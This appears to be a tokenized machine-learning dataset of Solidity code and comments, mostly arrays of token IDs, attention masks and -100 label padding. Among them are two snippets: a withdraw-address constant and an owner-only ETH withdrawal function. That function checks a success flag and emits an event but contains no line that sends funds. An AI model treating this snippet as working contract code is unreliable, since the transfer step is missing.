0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5831,
467,
442,
71,
8230,
690,
48,
18988,
24237,
2864,
353,
467,
2864,
288,
203,
565,
445,
6205,
1435,
3903,
1476,
1135,
261,
11890,
16874,
1769,
203,
203,
565,
445,
1147,
20,
1435,
3903,
1476,
1135,
261,
2867,
1769,
203,
203,
565,
445,
1147,
21,
1435,
3903,
1476,
1135,
261,
2867,
1769,
203,
203,
565,
445,
13003,
12,
474,
3247,
389,
6470,
13,
3903,
1476,
1135,
261,
16610,
18,
6264,
3778,
4024,
1769,
203,
203,
565,
445,
14036,
30948,
451,
5160,
20,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
14036,
30948,
451,
5160,
21,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
1048,
14667,
30948,
451,
12,
474,
3247,
2612,
6264,
16,
509,
3247,
3854,
6264,
13,
3903,
1476,
1135,
261,
11890,
5034,
14036,
30948,
451,
18619,
20,
16,
2254,
5034,
14036,
30948,
451,
18619,
21,
1769,
203,
203,
565,
445,
3274,
12,
203,
3639,
509,
3247,
16,
203,
3639,
509,
3247,
16,
203,
3639,
1758,
16,
203,
3639,
1426,
203,
565,
262,
3903,
1135,
261,
11890,
5034,
3844,
20,
3030,
281,
16,
2254,
5034,
3844,
21,
3030,
281,
1769,
203,
203,
565,
445,
20467,
48,
18988,
24237,
12,
203,
3639,
509,
3247,
2612,
16,
203,
3639,
509,
3247,
3854,
16,
203,
3639,
2254,
10392,
3844,
16,
203,
3639,
1758,
8027,
16,
203,
3639,
1426,
11014,
38,
29565,
203,
565,
262,
203,
3639,
3903,
203,
3639,
1135,
261,
203,
5411,
3155,
6275,
8526,
3778,
598,
9446,
82,
6275,
87,
16,
203,
5411,
3155,
6275,
8526,
3778,
1656,
281,
1190,
9446,
82,
16,
203,
5411,
2254,
5034,
1592,
48,
18988,
24237,
203,
3639,
11272,
203,
203,
565,
445,
336,
1170,
10735,
1538,
1435,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
203,
5411,
2254,
10392,
389,
6694,
67,
56,
16656,
67,
2053,
53,
3060,
4107,
16,
203,
5411,
2254,
3247,
389,
6470,
18006,
16,
203,
5411,
2254,
3247,
389,
22270,
14667,
16,
203,
5411,
1758,
389,
3215,
14667,
774,
16,
203,
5411,
23450,
29565,
3514,
2930,
2840,
389,
70,
29565,
16,
203,
5411,
6246,
2440,
10015,
264,
389,
7525,
10015,
264,
16,
203,
5411,
1758,
389,
2316,
20,
16,
203,
5411,
1758,
389,
2316,
21,
203,
3639,
11272,
203,
203,
565,
445,
25930,
1876,
28031,
16610,
1435,
3903,
1476,
1135,
261,
11890,
16874,
389,
8694,
16,
509,
3247,
389,
25785,
6264,
1769,
203,
203,
565,
445,
9162,
5752,
2954,
281,
1435,
3903,
1476,
1135,
261,
11890,
10392,
389,
2316,
20,
5752,
14667,
16,
2254,
10392,
389,
2316,
21,
5752,
14667,
1769,
203,
203,
565,
445,
31792,
264,
3324,
1435,
3903,
1476,
1135,
261,
11890,
10392,
389,
455,
6527,
20,
16,
2254,
10392,
389,
455,
6527,
21,
1769,
203,
203,
565,
445,
10324,
4096,
30948,
451,
1876,
3024,
26199,
367,
1435,
3903,
1476,
1135,
261,
11890,
16874,
389,
8538,
30948,
451,
5160,
16,
2254,
1578,
389,
2722,
26199,
367,
1769,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/97/0xa89f3920D5F4B333d783C9cac33E13A26C78bc2b/sources/BEP20Token.sol
|
sending token to this address create withdraw request.
|
address public constant WITHDRAW = address(1);
| 11,459,481 |
[
1,
4625,
348,
7953,
560,
30,
225,
5431,
1147,
358,
333,
1758,
752,
598,
9446,
590,
18,
203,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
1758,
1071,
5381,
13601,
40,
10821,
273,
1758,
12,
21,
1769,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x5e94bE61091149753D4D44BE38f85d4739766C85/sources/src/ClaimingCenter.sol
|
* @dev Function to withdraw all ETH from reserves (onlyOwner)./
|
function withdrawEntireEthBalance(
address to
) external onlyOwner nonReentrant returns (bool success) {
uint256 balance = address(this).balance;
require(balance > 0, "No balance in reserves to withdraw");
require(success, "Eth not withdrawn!");
if (success) {
refundReserves = 0;
emit EntireEthBalanceWithdrawn(to, balance);
return success;
}
}
| 3,067,063 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
225,
4284,
358,
598,
9446,
777,
512,
2455,
628,
400,
264,
3324,
261,
3700,
5541,
2934,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
